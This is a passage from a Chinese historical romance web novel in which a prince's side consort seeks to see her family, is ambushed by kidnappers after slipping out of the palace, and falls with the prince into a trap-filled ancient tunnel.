她拿起一块梅花馅饼,掰成了两块,递了一半给新月:“来,我们一起吃。”
话落,门外忽的想起了一人的声音:“侧妃,府里进了些新的料子做春衣,老奴给侧妃送过来,请侧妃过目。”
是管事来了。
姜钰雪忙擦了擦嘴,和新月一同去到门外。
下人们见到姜钰雪出来,便开始往屋内运东西。
只是,姜钰雪现在并没有心思去看那些,她看了看桌上的食盒,转头对管事说道:“管事,我想问个问题。”
管事徐徐回道:“侧妃请问。”
姜钰雪抿了抿唇,斟酌道:“我知道王府不同寻常人家。寻常人家在第七日会回门,我想知道按照王府的规矩,我是在哪日回门呢?”
“回侧妃,端王府并没有回门一说。”管事回道。
“啊?没有回门?”姜钰雪惊讶道。
似是猜到了对方会是这个反应,管事面上不为所动,继续说道:“侧妃自己也说了,王府不同寻常人家。你看宫里头的那些妃嫔,可是有回门一说的?”
下人运完了东西,陆续从屋内退了出去。
管事瞥了一眼,确认东西都送到后,后退几步行了个礼:“若侧妃没有别的事,那老奴便告退了。”
说罢便走了,留下姜钰雪在门口失神地站着。
没有回门……
那她不就见不到家里人了……?
“我想爹爹和娘亲了……”姜钰雪低下头,心里有些难过,“我从来没有离家还这么久过……我想家了……”
新月看着她垂头丧气的模样,心里也不好受。
谁能想到王府竟然是没有回门的呢。
“小姐,”新月想到了一个点子,“要不,小姐去找殿下说说?我们只是没有回门,又不是不能出去。”
闻言,姜钰雪眼神一亮,点头应道:“嗯……!”
-
书房外的长廊上,洛十一办完事往回走,远远便见到门口有一个鬼鬼祟祟的身影,站在那探头探脑的。
他蹙了蹙眉头,仔细看清了那人的面貌。
……姜侧妃?
对方今日扎了个垂耳髻,发髻随着她偷偷摸摸的动作,在她的脑袋上一晃一晃,格外醒目。
他疑惑地走近,在她身后轻轻咳了两声:“咳咳。”
闻声,姜钰雪猛的转过身,后背重重地贴在门上回头看。
在看清来人后,她长舒口气:“洛、洛十一……”
洛十一冲她笑了笑,忽的抬高音量道:“小的见过侧妃。”
姜钰雪看着他精神十足地给她行礼,一时有些不知所措:“嗯、嗯……你也好……”
好精神啊。
洛十一觑了一眼屋内还在端写的主子,对着姜钰雪笑了笑,随即进了屋。
裴敛坐在桌前写着什么,不为所动。
洛十一走到他身旁,低声说道:“殿下,侧妃在外头。”
“嗯。”裴敛没有停下动作,淡淡回道,“我知道。”
听到这回答,洛十一默默吸了口冷气。
主子知道,那便是故意不让侧妃进门的了。
想着,他抬头看了眼门外,一下便对上了姜钰雪饱含期待的眼神,心里顿时有些尴尬。
你们两个谁先都好,能不能互相说句话啊!
“咳咳。”洛十一尴尬地轻咳了一下,硬着头皮继续问道,“可是要请侧妃进来?”
裴敛没有回答,甚至没有分出一丁点视线,低头继续写着。
好吧,不要。
洛十一识相地闭上了嘴。
一时间,空气中满是尴尬的气氛。
直到姜钰雪双手扒在门框上,探出了半个脑袋,怯生生地唤了一声:“殿下……”
裴敛抬起眼皮看了过去。
19. 第19章
姜钰雪从方才起就站在门外,见裴敛在认真写着什么,也不敢出声打扰,只是候在门口,等他觉察到自己后向她搭话。
谁知她在这杵了那么久,还偷偷给了那么多暗示,对方都无动于衷。
半晌,姜钰雪终于耐不住性子,壮着胆子探出头叫他:“殿下……”
闻声,裴敛停下手里的笔,抬起眼皮看了她一眼,仅仅一息之后又收回了视线,继续做自己的事。
被无视了。
姜钰雪有些受挫,但没关系,为了能见到爹娘,她可以再努力一下。
“殿下……!”她又再唤了一次,这次语气更加焦急了些。
但裴敛依旧是没有回应她。
无奈,姜钰雪只得朝一旁的洛十一投去求助的目光。
洛十一收到她求助的视线,不禁一颤。
嗯?看他做什么……?
他只是一个臭拿月钱的,能帮些什么?!
洛十一为难地蹙了蹙眉,偷偷看了眼自家主子,确认对方还在专心致志地写着东西,尔后对着姜钰雪无声地对了下口型:“说——事——”。
是的,说事。
他家主子日理万机,什么性子他能不知道吗?
最烦别人浪费他时间。
叫了他又不说事,就跟你站在他面前问他“在吗”一样是句烦人的废话。
姜钰雪疑惑地看着他,试着重复了一下口型。
洛十一认可地点了点头,也跟着她一齐又无声地对了一次。
怎知,得到他的认可令姜钰雪更加困惑。
锁死……?锁死谁啊?
姜钰雪迷茫地四下望了望,看到了身后的门,醍醐灌顶。
哦!门!
她回过身,“啪”地一下阖起门,又“咔哒”一下将挂着的门栓给插了上去。
洛十一的表情从疑惑转变成了惊恐,心里的讶异攀升到了顶点。
不是。
怎么把门锁了???
你们两人是要做什么见不得人的事情吗???
可他还在呢???
“姜小姐。”
嘈杂的动静惹得裴敛停下了手里的事情,沉沉地叹了口气,问道:“你到底有何事?”
来了!
姜钰雪抓住机会,忙说道:“殿下,我想回一趟姜府……!”
裴敛端坐在椅子上,面无表情地看向她,回道:“王府没有回门。”
“我知道!”姜钰雪点了点头,解释道,“我的意思是,能不能让我单独回去一趟,就当作出门了。”
裴敛听着,视线瞥向桌上放着的关于刘远的一些审讯报告,拿起一旁的信件低头翻看了几下,漫不经心地回答她:“依照规矩,女子进了王府后也不得自行出门。”
“什么……?”
姜钰雪闻言眉头一蹙,确认道:“连出门也不行吗?”
“嗯。”
裴敛应着,将手里的书信放在洛十一所在的一侧,吩咐道:“把这个给她。”
洛十一听令,依照吩咐双手拿着信件交到姜钰雪手中,又退回了裴敛身侧。
“你若只是想出去走走,正好。”
他说着,视线在姜钰雪手中的信上点了一下,继续道:“皇上今日来信,召我回宫,特令我把你也带上,恰好可以带你进宫透透气。”
姜钰雪接过东西看了眼,其上写着:
【亲召端王世子裴敛进宫议事,望即刻安排行程,途中注意安全。】
“我不是……我不想进宫……”
她说着,又在翻了翻后面的附录,在那页写着“参议名单”的纸上赫然发现了姜甫的名字。
姜钰雪顿时惊讶地抬头问道:“我爹爹也会去?”
裴敛没有看她,只是顾自低头做着事,淡淡回了句:“不知道,我没看名单。”
“有的有的!”姜钰雪见他不信,忙拿着信跑到他旁边,指着上面的名字说道,“你看,就这个,是不是?”
裴敛顺着她的话看了一眼,回道:“嗯。”
见他确认了,姜钰雪高兴得一把抱住他的手臂,面上的笑容灿烂如花:“谢谢殿下!”
香软的小人儿忽的压在他半边,裴敛身体一怔,还未来得及拉开她,对方已经飞快地跑出了门外,高兴地去找其他人了。
裴敛从这一怔中回过神来,抬手捋了捋被她压过的手臂。
方才留在纸上的最后一笔,就这么歪了。
-
自打知道能进宫见到姜甫后,姜钰雪便异常地兴奋,连着好几日都笑脸盈盈的,就连进宫要穿的衣裳也提前去找了管事,老老实实地按照管事要求的去准备。
进宫当日,她破天荒地早早从榻上爬了起来,稍稍梳洗了一番便兴兴地冲去偏厅用早膳,好早些回来打扮。
裴敛同往常一样卯时不到便起了,主仆二人在往常的时间往偏厅去。
“殿下。”路上,洛十一突然开口道,“近日不安全,可是一定要带上侧妃去?毕竟,皇上其实也并没有……”
“她在刘远的事情上算是有功,让她去这一趟,便算是扯平了。”裴敛解释道。
裴敛脚下未停:“你备多几个暗卫给她,御前不得佩剑,皇宫是京城里最安全的地方,只要她不乱跑,便不会遇到多大事情。”
来到偏厅门前,裴敛还未跨过门槛,便迎面对上一对满含喜色的眼眸。
“殿下!”姜钰雪坐在椅子上,偏头看向门口的人,精气神十足地同他打了声招呼。
第一次见她起得这么早,裴敛有些意外。
“嗯。”裴敛应了声,走到她对面坐了下来。
下人们陆续上完了菜。
裴敛慢条斯理地拿起勺子送了点粥入口,抬眸便看见对面的人今日不仅没有愁眉苦脸地扒拉着青菜叶,甚至还卯足了劲地吃。
只是,不一会儿,那张小嘴便被塞得满满当当的饭菜给呛得“咳咳”响,忙让侍女帮着她轻轻拍了拍背。
“还有一个时辰,不急。”裴敛看着她们主仆两人慌忙的模样,不解道。
“急的急的!”姜钰雪眨巴着水汪汪的双眸,辩解道,“好久没见爹爹了,要好好打扮才是。”
闻言,裴敛眼中闪烁一瞬,沉默了片刻,轻轻应了声:“嗯。”
-
姜钰雪和新月倒腾了好一会儿,在管事满意的表情下终于是坐上了马车。
她今日穿了件月白色的交领裙,领口的边缘用红底金线绣了一串金莲。远看着素雅端庄,近看却能从这轻纱上的细针暗纹上看出这身是价值连城。
红色的边领衬得她更加肤白胜雪,在裴敛身边一站,两人竟真像这么回事。
端王府的马车缓缓驶进了御街,窗外的风景变成了红墙绿瓦和金碧花卉。
上次来这里是,姜钰雪还是同姜甫来的,还闯了大祸。没想到下一次来,竟是嫁给了面前这个人。
姜钰雪心里顿时觉得有些不可思议,偏头看向正依靠着车厢闭目养神的裴敛。
御街相比外面要平稳许多,但还是不免有点颠簸。
顺滑的青丝在一阵颠簸下从肩头滑落,垂到了胸口,原本轻阖的双眸也在此时睁了开来。
“何事?”裴
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敛一如既往地低声问道。
姜钰雪被他盯得有种被抓包的心虚感,忙从脑海中翻了个问题问道:“我一会儿何事可以去找爹爹呀?”
“等会下车后,你在延宁宫附近的花园候着,姜大人应当也要等议事结束才会出来。”裴敛回道。
姜钰雪乖巧地点了点头:“哦哦,好。”
话落,裴敛坐起身来,解下腰间的一块玉佩递了过去:“拿着,系上。”
姜钰雪盯着那块玉佩没有接,只是疑惑道:“这个是?”
“端王府的玉佩。”裴敛回道,“你戴着,有眼见力的不敢来招惹你。至于那些没有眼见力的……”
他说到这,眼里的神色忽然沉了下来。
姜钰雪想起当时他用匕首抵着自己小腹时的感觉,后背生出一层冷汗,忙接过那块玉佩,没有让他继续说下去:“好,好好好,我戴上,我戴上……谢谢殿下。”
马车停在了一处,两人从马车上下来,一路在宫女的带领下来到了延宁宫,在此处分开。
姜钰雪独自找了个地方坐下,看着春日里新发的绿芽,晃悠着小腿安逸地晒着太阳。
忽的,不远处走来了一群姑娘。
姜钰雪远远看着,想分辨下里面有没有需要她打招呼的人,却是在那群人的中间发现了一个她不太喜欢的人。
“葛妍?”姜钰雪忽的停下了脚下的动作,心也沉了下来,“她也来了。”
她想起刘若汐当时说的话,心里骤然生起气来。
是她在挑拨离间,让刘若汐误会她。
似是注意到了远处的视线,葛妍视线一晃,发现了站在不远处的姜钰雪,微笑着呼喊道:“姜小姐。”
她顺势带着几个人走近了她,停在她跟前,继续道:“没想到再见到姜小姐,就已经变成姜侧妃了。”
姜钰雪看着她走近,面上的神色沉了下去。她本想勉强挂上笑容,但不知为何今日就是不想。
“葛小姐。”姜钰雪淡淡道。
葛妍隐隐有些惊讶,往常对面这个人再勉强也会配个笑脸,今日竟是一点好脸色都不打算给。
“姜侧妃这是怎么了?”
葛妍假势皱了皱眉,关切道:“莫不是见到我不高兴了?”
“没有。”姜钰雪已经习惯了她这样惺惺作态扭曲她的攻势,开口道:“我只是今日身体不好,想自己呆着。若无其他事,我便告辞了。”
说罢,便抬脚离开了。
葛妍看着她离开的背影,嘴角勾了勾,喃喃道:“你也当不了多久了。”
-
姜钰雪从花园走出来,跑到了另一处无人的地方。
周围有好几间小殿,再不远处便是今日议事所在的地方。
遇到了讨厌的人,姜钰雪心里烦闷得很,气呼呼踢了地上的石子一脚。
石子“唰”地一下飞了出去,撞到了墙上,又猛地弹了回来。
啊??
姜钰雪来不及躲闪,眼看着石子快要打中她。
忽的,空中突然又飞出了其他的小玩意儿,精准地将那石子给打了下来。
“哒哒”两声,仔细一看飞来的是一颗野果。
姜钰雪顺着这果子飞来的方向望去,转过身抬头往上看,日光夺目。
阳光之下,一个少年蹲坐在屋檐之上,身上的圆领袍解开了一个扣子,袖子也纷纷挽到了手肘处,露出了其下紧实的小臂。
他一手撑着下巴,一手抛起果子接着玩。风吹起他高扬的马尾,他眉眼带着少年独有的意气风发,低头看向姜钰雪,笑道:
“哟,阿姐。”
20. 第20章
姜钰雪看清了少年的模样,惊讶地开口道:“子逸?!你怎么在这?!”
姜子逸笑着应了声,从屋檐上跳下来,落地后绕着姜钰雪看了一圈,最后笑着重重点了点头:“嗯!没有缺胳膊少腿的!”
说话这么不吉利!
姜钰雪没好气地锤了他的手臂一把,训道:“什么缺胳膊少腿的,胡乱说话!”
被她打了一下,姜子逸也不反抗,抬手又在她头顶比了比,得意道:“阿姐你看,我比你还高啦。”
姜钰雪一把拉住对方的耳朵,说教道:“你一下离家那么久,娘亲病了也没赶回来,还好意思说!”
“哎哎哎哎!”姜子逸被她揪疼了,头歪着随着她走,“阿姐,疼,疼!”
“哼!”姜钰雪松开他,一屁股坐到一旁的椅子上,背对着他不说话。
“我那时赶不回来,我也心急啊。”姜子逸揉了揉耳朵,委屈道,“我回来时,见娘好多了,我还放心了些。结果他们却和我说你嫁了,见不着了。”
他说着,蹲到姜钰雪身侧,抬头看她:“阿姐……”
姜钰雪别开脸,往一旁挪了挪,闭目不看他。
姜子逸也知道自己理亏,家里有事的时候自己不在,就连自己亲姐姐出嫁都不在场。
他小小一跳又往她身边凑了凑,继续示弱:“阿姐,我错了……”
姜钰雪依旧不回他,干脆转了个身,朝向了另一边。
两人沉默了一会儿。姜子逸撑着下巴,转了转眼珠子,忽然开口道:“烧臆子。”
话落,发髻上毛茸茸的碎发忽的一动。
嗯?
姜子逸眉头一挑,又说了一个。
“切鲙。”
簪着的垂珠挂饰也轻轻晃了起来。
下一刻,姜子逸麻溜地将记忆中她爱吃的菜都一骨碌倒了出来:“金钱肚蟹酿橙旋炙猪皮银耳羹。”
小小的背影微微一动,咕咚地咽了咽喉咙,挣扎了片刻后端着架子道:“……还要一串糖葫芦。”
“成交!”
知道自己得逞了,姜子逸站起身来,得意地笑道:“走,我们现在去。”
“啊?现在去?”姜钰雪诧异道,“怎么去?”
姜子逸扬起嘴角,回道:“你在这儿等我,我喊辆马车过来。”
说完便一溜烟往车夫的歇脚处跑去,留下姜钰雪站在原地候着。
临近午时,日光逐渐变得强烈,晒得姜钰雪面上渗出了薄薄的细汗。
不知姜子逸什么时候才回来,姜钰雪干脆后退几步,想撤回到阴凉处。怎知,身后猛地一碰,撞上了人。
“对、对不起……!”姜钰雪慌忙地道歉,回头发现自己被罩在一个高大的阴影下。
被撞到的男子面色不悦,身着金边紫衣,一看就不是她惹得起的人物。
他正欲开口,余光瞥见摇晃着的玉佩,顿了顿,面容即刻放松了下来,关切道:“没事,我知道姑娘是不小心的,不必道歉。倒是姑娘你,可是撞疼了?”
姜钰雪赶忙摆摆手,回道:“没、没有!我没事,实在抱歉……”
她一边应着,一边觉得这个人的声音有些耳熟,但一时半会儿又想不起来究竟在哪听过。
男子笑了笑,看了一眼周遭,提醒道:“姑娘站在这可不安全,这边车多人多的,容易碰伤。”
姜钰雪点了点头,对他的关心以示感谢:“没事,我在这等人。”
“等人?”男子挑了挑眉,问道,“姑娘这是要出宫了?”
“嗯……”姜钰雪小声应道,心里实则有些为难,她不大喜欢跟陌生人说这么多话。
闻言,男子面露疑惑,继续问道:“你同你夫君这就要走啦?”
“啊?”姜钰雪一时诧异,“我……”
她话未说完,不远处传来了姜子逸的呼唤声。
“阿姐——”
见车来了,姜钰雪偏过头同对方说道:“公子,我的车来了,我先告辞了,公子再会。”
说完,便一路小跑了过去。
“嗯,再会,姜姑娘。”男子笑着对她挥了挥手,看着马车远去。
身后站了许久的侍从走上前来,说道:“三殿下,快到时候了。”
男子低低应了声“嗯”,视线还停留在马车远去的方向,饶有意味地摸了摸下巴,勾着嘴角自言自语道:“原来这就是你那个侧妃。”
-
主殿内,正堂两侧各自摆放了一排桌案。宫女们款步上前,将桌上的酒杯陆续斟满。
因着今日连亲王和几个皇子都会出席,殿内的气氛比往常拘谨了不少。
姜甫坐在众臣之首,位于亲王之后,隔着中间的一条不远不近的过道往斜对面望去。
在众人目光的追逐下,裴敛信步行至桌案前,缓缓俯身入座,月白的衣袂随着动作平整地铺散在坐席上,没有一丝凌乱。
一言一行尽显矜贵清冷,将世家严苛的家教和与生俱来的气质展现得淋漓尽致。
姜甫远远看着,至今还是不相信自己女儿已同这样的人成了亲。
他原本是打算给她寻个温柔体贴的夫君,不求什么高嫁,只要待她好,让她不愁吃穿,不受人欺负便行。
谁能想到,这一嫁,竟嫁到了那么一个高处。
“那个就是小世子?”坐在姜甫身侧的李兰惜从一旁探出头来,顺着他的视线望去。
王府没有回门,李兰惜因着从未见过裴敛,又在请帖的名单上知道了他会出席,便特地趁着身子好转的时期来看看。
姜甫看着身侧探头探脑的夫人,忧忧地劝了句:“你收着点……”
李兰惜没听他的,又往周遭望了望,皱眉道:“他怎么没带雪儿来呢?莫非是两人感情不好……”
这话听得姜甫直冒冷汗。
之前因着李兰惜身体不好,他只道姜钰雪的这门婚事是极好的,让她放宽心好好养病,没想到她身体好转后竟要求亲自来看看。
端王世家家教严苛,跟姜府可全然不同。
自家女儿自幼学的全废,交际礼数也不会,骨子里头缺心眼,
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嫁过去不用想都知道不受待见。
但他又没法直接说,只好又找了个借口圆了圆:“世子没继位前一般只封侧妃,侧妃不同于正妃,不需要参加这些宴席,没来也是正常的,你莫要担心。”
李兰惜半信半疑地点点头,心觉此事关乎到女儿的终生大事,姜甫没有骗她的道理,便也没再纠结。
两人说话间,众人的视线又骤然变了个方向,往裴敛的身后看去。
“你果然把那个玉佩给她了。”李珣身着金边紫衣,脚下是一对绣了祥云纹的皂靴,站在人群之中衬得格外显眼。
他说着,若无其事地把原本坐在裴敛边上的五皇子挥走,换作自己坐在了他的身侧。
裴敛闻声看去,颔首应道:“三殿下。”
闻言,李珣摆手道:“叫什么殿下,你也是殿下。我们两个同岁,你甚至比我大上几个月,我还得喊你一声裴兄呢!”
“三殿下的心意臣领了,但此为御前,该有的规矩应当要有。”裴敛淡淡回道。
李珣见他越叫越生疏,干脆也不再说这个,换了个话题道:“我方才见到你那个侧妃了。”
他指了指裴敛腰间空出来的一块,说道:“喏,靠着你那个玉佩认出来的,没认错吧?”
裴敛的神色未有什么变化,只是轻轻“嗯”了一声,以示回应。
“那是姜丞相的二女儿吧。听说二小姐不如大小姐那般聪敏贤惠,不过我看……样貌倒是极好的。”
他说着,拿起案上的酒杯举了举敬道,“也是恭喜裴兄抱了个美人回去。”
裴敛没有作声。
见他反应平平,李珣狐疑地勾住他的肩膀,凑近讲起了悄悄话:“这么冷淡,怎么,不喜欢啊?”
裴敛依旧保持着端坐的姿势,回道:“世家婚姻从来由圣上赐婚定夺,没有什么喜欢不喜欢的,只是职责所在罢了。”
李珣挑了挑眉,臆断道:“照你这么说……那便是不喜欢咯?”
他一脸可惜地摇了摇头,继续道:“哎,如你所说,世家婚姻确实如此。只是我觉得,裴兄这样的人,应当适合更加有才华的女子才对。例如……葛大人那边的如何?”
“要不一会儿我帮你在父皇面前说说好话,替你把她……休了?好让你换一个。”
裴敛抬手拿起斟满了的酒杯,顺势不着痕迹地躲开了对方搭在他肩上的手,开口道:“不劳三殿下费心。”
说罢,举起酒杯凭空敬了一下,将其饮尽。
被对方接连拒绝了两次,李珣也不恼,同样拿起案上的酒杯仰头饮尽,笑道:“那一会儿父皇那头召见你和你的小侧妃,你可得加把劲顶着了,他老人家就爱操心我们这些年轻人的事。”
“不过,要是有什么难处,尽管和我说,我若能帮你解决的,定是帮你的!”
他放下了手中的酒杯,起身准备离开,脚下忽然一顿。
“哦!”
似是突然想到什么,他一脸恍然道:“怕是召见不了了。我刚才见她跟个男人上了辆马车,溜出宫了。”
21. 第21章
话落,李珣瞥了一眼端坐在坐席上的人,悠悠地往自己的位置走去。
裴敛面上神情不变,看上去没有一丝慌乱。
虽不知那个女人到底是去做什么,但他事先已经派了几名暗卫跟着,大抵不会有什么大的危险。
况且,今日是圣上亲请的宴席,无论如何他都不该因此事缺席的。
宾客逐渐到齐,舞女们犹如池中锦鲤,在中央环绕起舞,气氛逐渐热闹了起来。
宫女端着前菜走到裴敛桌案前放下,又拿着酒壶给他空了的酒杯斟酒。这一杯酒还未斟满,却是被突入而来的侍卫给碰倒了。
“殿下。”那侍卫虽已尽可能压低了声量,但语气中依旧掩藏不住慌乱。
“原先派去保护侧妃的几个暗卫……死了。”
-
马车驶出御街,路上开始变得有些颠簸。
车厢内,姜子逸从兜里掏出一小包油纸,递给姜钰雪:“喏,几个糖炒山楂,填填肚子。”
糖炒山楂!
姜钰雪欣喜地接到手中,迫不及待地打开它:“我要吃我要吃!”
鲜艳的红色小果外裹了一层白色的糖霜,咬下一口,酸甜的气味钻进舌头的深处可口馋人。
这一口,吃得姜钰雪开心得直晃腿,头也跟着摇了起来。
姜子逸托着下巴看她,疑惑道:“你怎么跟饿了八辈子一样,有这么好吃吗?”
说到这事,姜钰雪的脸骤然拧成了根苦瓜,委屈得直抱怨道:“你不知道,王府吃的都是什么水煮清蒸的,太油太辣太甜的都不给吃,更不用说这些东西了。我感觉我都吃瘦了……”
闻言,姜子逸瞪了瞪眼,有些不可思议。
堂堂端王府,竟吃得这般清淡,换成其他人家早就每日山珍海味的吃着了。
“娘今日也来了呢。”姜子逸忽然说道。
“什么?”姜钰雪闻言瞪大了眼,手里拿着的红果子掉回油纸包中,“娘亲也来了?”
“嗯。”姜子逸回道,“娘亲没见过你那个……夫君,特地来看看。我那日还听见她和爹爹谈话,在关心你们两个处得好不好呢。”
听到这话,姜钰雪心头一跳,有些尴尬地扁了扁嘴,默不作声。
见她这幅表情,姜子逸手头的动作一滞,脸色即刻暗了下来:“他待你不好?”
“他是不是欺负你了?”
“打你了?”
“还是三天两头在外拈花惹草的冷落你?”
“没有没有没有!”被他连着逼问好几句,姜钰雪连忙摆手否认,“他也不是待我不好……但也没有很好……?”
“就是……他都在忙自己的事,不管我的事情的,我们就是各过各的。”
她说着,抬眸看到对面的人一脸担忧地蹙眉看着她,忙又劝道:“你一会儿可别这么跟爹爹和娘亲说。你就说,我和他关系挺好的,他待我很好。你可千万别说多的,我怕爹爹和娘亲担心。”
姜子逸看着她为难的神色,自己心里也不好受,叹声道:“关键这事也不是我瞒着就行了啊。他今日也来了,不管我们怎么说,等他在爹和娘面前一表态,不都露馅了。”
这话说得一点没错。
依照这阵子的相处,姜钰雪也知他是不会帮着她遮掩些什么的。
一想到如果娘亲因为这事操心,导致病情又加重了,那自己真不知该如何是好。
“实在不行,我就去求求他……”姜钰雪努努嘴,可怜兮兮地喃喃着。
姜子逸无奈地叹了声气,安慰道:“没事,到时候我看着怎么帮帮你。”
接着,很快转移了话题:“先不说这个了,你先好好吃。既然在王府没吃什么好的,那这次就都吃回来。”
说着,他拉开窗帘看了眼外头。
不知何时,车夫已将车拉出了喧闹的人群,周围的景色变得有些萧瑟。
姜子逸蹙起眉,疑惑地对着车夫喊道:“师傅,你是不是走错路啦?这个方向不是去食天阁的路啊。”
半晌,回应他的只有车轮前行时发出的轱辘声。
姜子逸心觉不对,打开身后背靠着车夫的小门准备查看情况。怎料,门一开,车夫竟往后一仰,重重倒在了地上。
姜子逸连忙后退,将姜钰雪挡在身后,镇定地看向倒地的车夫。
死、死了?!
下一刻,随着马匹发出的嘶鸣,整架马车遭受到猛烈的撞击,车厢随之被掀起。
“啊——!”
“阿姐!”
姜钰雪撞在车厢上,东倒西歪地被甩着。
姜子逸在这慌乱之间抓住她的手,带着她跳出马车。
两人在地上滚了几圈,终于在姜子逸的后背撞上一棵树干时停了下来。
“阿姐!”姜子逸从地上支起身,忙看向怀里的人,“阿姐,你有没有伤着?!”
“没、没事,我没事……”
姜钰雪在车厢中被一顿甩,跳车后又一连滚了好几圈,整个人眼冒金星的。
但好在有姜子逸护着,身上并未有什么大碍。
“呼~”
就在两人说话之时,几个贼人从隐蔽的草丛中走出来,一边用猥琐的目光打量着姜钰雪,一边吹了声口哨戏谑道:“还真是个小美人儿,难怪抓你一个小妮子值那么多钱。要不交差前先给哥哥几个玩玩?哈哈哈哈!”
姜子逸扶起姜钰雪,将她护在身后,挡住眼前一群人不善的目光:“下作!再看剜了你们眼!”
“哎哟,”为首的贼人像是听到了什么笑话一样,指着姜子逸对着身后的同伙玩笑道,“你们瞧瞧这姐弟情深的,一会儿就让他在旁边看着我们怎么玩他的、啊!”
他话未说完,迎面便是姜子逸重重的一拳,气愤地吐出一口血:“你个小兔崽子……都给我上!”
姜子逸面露戾色,对身后的人说道:“阿姐,退到我身后躲躲。”
随即,一旁的贼人挥刀向他冲来。他矮身躲过,趁机夺过对方腰间的小刀,刺进对方的腹中,尔后一旋,将对方的内脏搅得血肉模糊。
见同伙被刺倒在地,其他的贼人越发愤懑,几人冲上前一齐牵制住他。
“我抓住他了!”一人从身后锁住姜子逸的脖子,将他往后拉,招呼着其他同伙相助。
姜子逸一抬脚,踩在了迎面而来的贼人脸上,尔后顺势将对方踩在地上,一个过肩摔把身后的贼人一同撂倒,抢过对方手里的刀将两人串在一起刺进地面。
姜钰雪躲在一旁的矮石处,担忧地看着这触目惊心的一幕。
“子逸……”她紧张地握紧了拳头捂在心口,尽力平定下自己跳得厉害的心,又再四下环视着,警惕周身有无其他人接近她。
然而,却是发现原本倒在地上的贼人忽然站了起来,趁着姜子逸在对付其他人时往他身后袭去。
此时,姜子逸眼前最后一个贼人应声倒地,放眼之内已无敌人。而偏偏就在这刹那之间,身后倒地的人猛的站起来,手里拿着小刀藏在他视野的死角处刺向他。
……遭了!来不及了!
姜子逸觉察到身后骤然生出的杀意,但想要躲闪开已然是来不及,只能眼睁睁看着匕首的寒光朝自己冲来。
忽的,随着一声巨响,那人身体一震,随即晕倒在地。
姜钰雪手里拿着不知从哪来的铁揪,又气又怕地颤抖道:“不准欺负我弟弟!”
“阿姐?!”姜子逸回身看见她,注意到她发红的手,急忙握在手里关切道,“阿姐,你手有没有事?你怎么能出来呢……太危险了。”
“没、没事……”姜钰雪从惊恐中回过神来,往回退了几步,靠在那矮石上缓缓心神。
怎料,她的后背刚靠上去,脚下地面突然陷进去一块,后背靠着的矮石像活物一样张开了一个大口。她一下失了重心,后背放空整个人向后倒去。
“阿姐当心!”
姜子逸向她伸出手来,快步追过去打算抓住她。
然而,身边忽然卷过一阵风尘,一道白衣身影从他身边掠过,同时肩膀被一手用力往回推,整个人止不住往后退。
洛十一跟在裴敛身后跑着,就这么跟姜子逸撞在了一块。
???
“殿下——!!!”洛十一抓着姜子逸的肩膀,疑惑地对着裴敛的背影喊道。
“你不要跟来。”裴敛回应道。
下一刻,巨石的缝隙关闭,远处的两人一同被吞入其中。
“阿姐!!!”姜子逸跑回矮石边,趴在那石山上四处摸索着,想找到开启的机关。
“洛十一。”石壁内传来了男子的声音。
洛十一后脚跟赶来,闻声应了句,便听到裴敛继续说道:“带人去北面的淮山丘下第二棵桑树旁候着,一会我们会从那里出来。”
闻言,洛十一询问道:“殿
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下,可当真不需要小的也进去?万一有什么危险……”
“此为古战场时用的暗道,”裴敛解释道,“内部机关众多,来的人越多,误触机关的可能性便越大。”
“你们进来,只会拖我后腿。”
“是。”
既然主子都这般说了,洛十一也心下了然,转身向一旁的姜子逸说道:“姜公子,请随我来。”
“可是我阿姐她……”
“子逸,我没事,你别担心!”底下传来了姜钰雪的声音,“你听洛十一的,他是端王府的人!我只是摔了一跤,没事儿,好着呢!”
听到这话,姜子逸才反应过来。
既然身旁这个是端王府的人,而他方才又唤里头那人叫殿下。那刚才跟着姜钰雪一起进去的,便是那个端王世子了。
但说不担心是不可能的。
只是现下他也束手无策,只能对着里面的人嘱咐道:“那你当心些,别伤着了。”
“嗯!”姜钰雪应道。
洛十一见他愿意配合了,遂开口道:“姜公子随我来,此处不安全,我将您送回宫门外,还请您在宫外等候殿下和侧妃。”
“另外……”他顿了顿,斟酌思量着。
从圣上亲请的宴会上擅自离席这种事简直是前所未有。
自家主子一路上都沉着张脸,比冰山还要冰,冻得吓人!断然是气坏了,之后指不定要他写什么东西,还是先做打算的好。
“呃……还请公子稍稍配合小的做一些……记录。小的好在事后同殿下汇报下事情的缘由。”他拱了拱手,好声好气地说道。
让姜钰雪遇到这样的危险,姜子逸心中难免自责。
既然端王府的人出手相救了,他也没有拒绝的理由,便应了声:“好。”
-
幽暗的暗道内,流淌着一条小河,星星点点的灯虫发着幽幽的光,成为了这暗道中难得的光源。
姜钰雪逐渐适应了黑暗的环境,浑身湿漉漉地从小河中站起身来,就着这些灯虫发出的微弱光芒四下望着。
弯曲的暗道宛如一条永无止尽的深渊,四下遗落的东西上覆盖着厚厚的一层灰尘,一眼便知是久远之前的东西。
“姜钰雪。”
黑暗中,裴敛的声音骤然响起。
姜钰雪肩膀一颤,后背激起一层冷汗。
之前她觉得,面前这个人的心情捉摸不透,忽冷忽热,整天都是一副面无表情的模样,说话也没有什么情绪。
但此时此刻,她能十分万分千万分地断定……
他、他生气了!
而且比之前任何一次都要生气!
“殿、殿下……”姜钰雪提起裙摆,缩着肩膀赔笑装傻,“呵呵呵……巧、巧遇……”
“姜小姐。”
裴敛一边看着她怯生生地挂起一张笑脸,一边板起张脸逼近她:“古战场密道的暗格都能被你找到,看来下次查案时带上你,兴许比我查还更快些。”
“啊哈哈哈……”他每近一步,姜钰雪便退两步,被他冷得吓人的气势给压得直发抖,“我哪有这个本事啊……殿下说笑了、说笑了……”
她一边赔着笑脸,一边往后退。
裴敛本也没有欺负弱小女子的恶习,见她这幅战战兢兢的样子,便当她知晓错误了,没再逼近她。
然而,他瞥见她脚下那块地方的异样,即刻开口阻止道:“别动!”
“啊?”姜钰雪没反应过来,一脚踩了下去。
下一刻,河水忽然涌动,河底下拉开了一张巨大的网,从两人的下方往上收紧。
碎玉般的水声骤然涌动,过了一会儿才恢复平静。
暗道的上空,巨网收起,里面收起了两个人影,在半空中叠在一起,左右摇晃着。
“姜钰雪……你真的是……”裴敛后背贴着巨网,身上窝着另一个人。
姜钰雪的衣服在方才摔下来时已经弄湿,身体贴在对方胸前,将他的胸口染湿了一片。
她双腿夹着对方弯起的一条结实的大腿,因着找不到着落点,整个人顺着他的大腿滑了下来,最后才撅着屁股坐在了他的大腿根处。
浸湿的衣服紧紧贴在她的臀上,滑出了一道饱满圆润的弧线,在萤萤微光下泛着水光。
她惊魂未定地窝在他身上,只觉得身上硌着难受,颤巍巍地说了声:
